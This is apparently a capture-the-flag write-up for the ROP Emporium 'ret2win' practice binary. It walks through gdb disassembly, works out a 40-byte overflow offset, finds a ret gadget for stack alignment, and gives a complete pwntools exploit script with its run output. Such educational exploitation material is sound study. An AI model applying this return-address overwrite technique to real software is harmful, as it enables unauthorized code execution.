Post

ret2win

ret2win

Exploration

Using gdb, we can find there are two notable functions: pwnme and ret2win.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gdb ./ret2win
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000400528  _init
0x0000000000400550  puts@plt
0x0000000000400560  system@plt
0x0000000000400570  printf@plt
0x0000000000400580  memset@plt
0x0000000000400590  read@plt
0x00000000004005a0  setvbuf@plt
0x00000000004005b0  _start
0x00000000004005e0  _dl_relocate_static_pie
0x00000000004005f0  deregister_tm_clones
0x0000000000400620  register_tm_clones
0x0000000000400660  __do_global_dtors_aux
0x0000000000400690  frame_dummy
0x0000000000400697  main
0x00000000004006e8  pwnme
0x0000000000400756  ret2win
0x0000000000400780  __libc_csu_init
0x00000000004007f0  __libc_csu_fini
0x00000000004007f4  _fini

Finding the vulnerability and offset (pwnme)

pwnme has a buffer overflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
   0x00000000004006e8 <+0>:     push   rbp
   0x00000000004006e9 <+1>:     mov    rbp,rsp
   0x00000000004006ec <+4>:     sub    rsp,0x20
   0x00000000004006f0 <+8>:     lea    rax,[rbp-0x20]
   0x00000000004006f4 <+12>:    mov    edx,0x20
   0x00000000004006f9 <+17>:    mov    esi,0x0
   0x00000000004006fe <+22>:    mov    rdi,rax
   0x0000000000400701 <+25>:    call   0x400580 <memset@plt>
   0x0000000000400706 <+30>:    mov    edi,0x400838
   0x000000000040070b <+35>:    call   0x400550 <puts@plt>
   0x0000000000400710 <+40>:    mov    edi,0x400898
   0x0000000000400715 <+45>:    call   0x400550 <puts@plt>
   0x000000000040071a <+50>:    mov    edi,0x4008b8
   0x000000000040071f <+55>:    call   0x400550 <puts@plt>
   0x0000000000400724 <+60>:    mov    edi,0x400918
   0x0000000000400729 <+65>:    mov    eax,0x0
   0x000000000040072e <+70>:    call   0x400570 <printf@plt>
   0x0000000000400733 <+75>:    lea    rax,[rbp-0x20]
   0x0000000000400737 <+79>:    mov    edx,0x38
   0x000000000040073c <+84>:    mov    rsi,rax
   0x000000000040073f <+87>:    mov    edi,0x0
   0x0000000000400744 <+92>:    call   0x400590 <read@plt>
   0x0000000000400749 <+97>:    mov    edi,0x40091b
   0x000000000040074e <+102>:   call   0x400550 <puts@plt>
   0x0000000000400753 <+107>:   nop
   0x0000000000400754 <+108>:   leave
   0x0000000000400755 <+109>:   ret
End of assembler dump.

Note that it reads 0x38 (56) bytes into a string that is 0x20 (32) bytes from RBP. Since RBP is next to the return address and is 8 bytes long, the offset is 0x28 (40).

Finding the target (ret2win)

ret2win is the function to return to - it calls system on the string "/bin/cat flag.txt".

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) disassemble ret2win
Dump of assembler code for function ret2win:
   0x0000000000400756 <+0>:     push   rbp
   0x0000000000400757 <+1>:     mov    rbp,rsp
   0x000000000040075a <+4>:     mov    edi,0x400926
   0x000000000040075f <+9>:     call   0x400550 <puts@plt>
   0x0000000000400764 <+14>:    mov    edi,0x400943
   0x0000000000400769 <+19>:    call   0x400560 <system@plt>
   0x000000000040076e <+24>:    nop
   0x000000000040076f <+25>:    pop    rbp
   0x0000000000400770 <+26>:    ret
End of assembler dump.

(gdb) x/s 0x400943
0x400943:       "/bin/cat flag.txt"

Stack alignment issue (movaps)

As per the Common Pitfalls in the ropemporium Beginner’s Guide, it’s possible that there’s a movaps issue. This was true for me on Debian 12. To get around this, we need to realign the stack to 16 bytes using a singular ret instruction. This can be found using ropper.

1
2
3
4
5
6
7
8
9
$ ropper --file ret2win --search "ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret

[INFO] File: ret2win
0x0000000000400542: ret 0x200a; 
0x000000000040053e: ret; 

Exploit

I set up this program using pwninit. However, ropemporium has no remote - it is all local.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3

from pwn import *

exe = ELF("./ret2win_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r

def main():
    r = conn()

    # good luck pwning :)
    offset = 0x28
    payload = flat({
        offset: [
            0x40053e, # ret
            exe.sym["ret2win"]
        ]
    })
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

Running

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/ret2win/ret2win_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[<] Starting local process '/home/ctf/ctf/ropemporium/ret2win/ret2win_patched': pid 3[+] 
[*] Switching to interactive mode
Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
[*] Process '/home/ctf/ctf/ropemporium/ret2win/ret2win_patched' stopped with exit code 0 (pid 37443)
[*] Got EOF while reading in interactive
$ 
[*] Got EOF while sending in interactive
This post is licensed under CC BY 4.0 by the author.